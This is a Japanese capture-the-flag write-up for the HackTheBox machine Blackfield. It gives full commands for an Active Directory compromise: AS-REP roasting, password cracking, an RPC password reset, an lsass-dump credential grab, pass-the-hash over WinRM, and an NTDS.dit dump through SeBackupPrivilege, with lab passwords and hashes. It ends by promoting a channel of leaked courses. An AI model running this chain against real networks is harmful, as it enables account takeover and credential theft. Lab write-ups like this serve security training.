私はHackTheBoxサイトからマシンのファイナライズに送信されたソリューションを公開し続けています。
この記事では、ASRep Roastingを使用してユーザーを定義し、RPCを使用してパスワードを変更してアカウントを引き継ぎ、NTDS.DITシャドウコピーを使用して特権を昇格させます。
ラボへの接続はVPN経由です。情報セキュリティについて何かを知っている人々とのプライベートネットワークにいることに気付くため、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。
組織情報
偵察
このマシンのIPアドレスは10.10.10.192で、これを/ etc / hostsに追加します。
10.10.10.192 blackfield.htb
最初のステップは、開いているポートをスキャンすることです。これを行うには、次のスクリプトを使用します。このスクリプトは、スキャンするホストのアドレスという1つの引数を取ります。
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
多くの開いているポートがありますが、いつものように、SMBから始めましょう。ログインせずに何かできるか見てみましょう。
smbmap -u anonymous -H 10.10.10.192
そして、ディレクトリプロファイル$を読み取ることができます。
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
潜在的なユーザーの大規模なリストがあります。システムに実際に存在するユーザーを確認できます。実際のところ、ASRep Roasting攻撃中、サーバーには3つの異なる応答があります。
- ユーザーのパスワードのハッシュ。
- このユーザーには、UAF Dont RequirePreAuthが設定されていません。
- Kerberosデータベースにはそのようなユーザーはありません。
したがって、誰が誰で、誰がそうでないかを知ることができます。
エントリーポイント
まず、リストを取得しましょう。
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
それでは、ASRep-Roastingを実行しましょう。
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
そして、ハッシュが返ってきたときは驚きました。彼をうめきましょう。
john support.hash -w=./tools/rockyou.txt
そして、私たちは完全に管理されたアカウントを持っています。それでは、enum4linuxを使用してできるだけ多くの情報を取得しましょう。
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
あいまいなユーザーの膨大なリストを取得しますが、最も興味深いのはグループメンバーシップです。これにより、svc_backupがRMUグループ(RID:580)にあり、Win-RMを使用したリモート接続が可能であることがわかります。
SMBから他に何も取得できませんが、LDAPには何も見つかりません。しかし、RPCには、結局のところ、1つのトリックがあります。接続しましょう:
rpcclient 10.10.10.192 -U support
実際には、同じ権限を持つユーザーのパスワードを変更することが可能です。すべてについては、ここで詳しく説明します。そして、私はユーザーaudit2020のためにこれを行うことができました。
setuserinfo2 audit2020 18 'ralf'
別の管理されたアカウントがあるため、最初からすべてのリソースとサービスの分析を開始します。
ユーザー
SMBに行きます。
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
読むべきものはたくさんあります。すべてのコンテンツを再帰的に表示して、一度に表示することをお勧めします。
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
そして、forensic \ memory_analysisフォルダーには、明らかに、lsassプロセスのダンプがあります。そして、そこからmimikatzを使用してパスワードを取得できます。このファイルをダウンロードしてください。
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192
それでは、Windowsマシンに移動して、mimikatzを使用してみましょう。
そして、ハッシュを知って、Evil-WinRMを使用して、svc_backupに代わって接続します。
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
ルート
グループとユーザー権限を見てみましょう。
SeBackupPrivilege特権があります。これにより、多くの資格情報を含むNTDSファイルのシャドウコピーを作成する権利が与えられます。コピーを作成した後、必要なファイルを単純に抽出することはできません。このためには、次のDLLが必要です。
シャドウコピーを作成しましょう。次の内容のファイルを作成しましょう。
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
それでは、それをアップロードして、ライブラリをホストにダウンロードしましょう。
シャドウコピーを実行してみましょう。
diskshadow /s ds.txt
そして、ファイルをダンプします。
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
ただし、このファイルは暗号化されており、復号化するにはSYSTEMファイルが必要です。これを取得しても問題はありません。
reg save HKLM\SYSTEM C:\Temp\SYSTEM
マシンから両方のファイルをダウンロードします。
そして、impacketパッケージからsecretsdumpを使用してハッシュを取得します。
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
管理者として接続しましょう。
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
私たちはこのマシンを完全に制御できます。Telegramに
参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。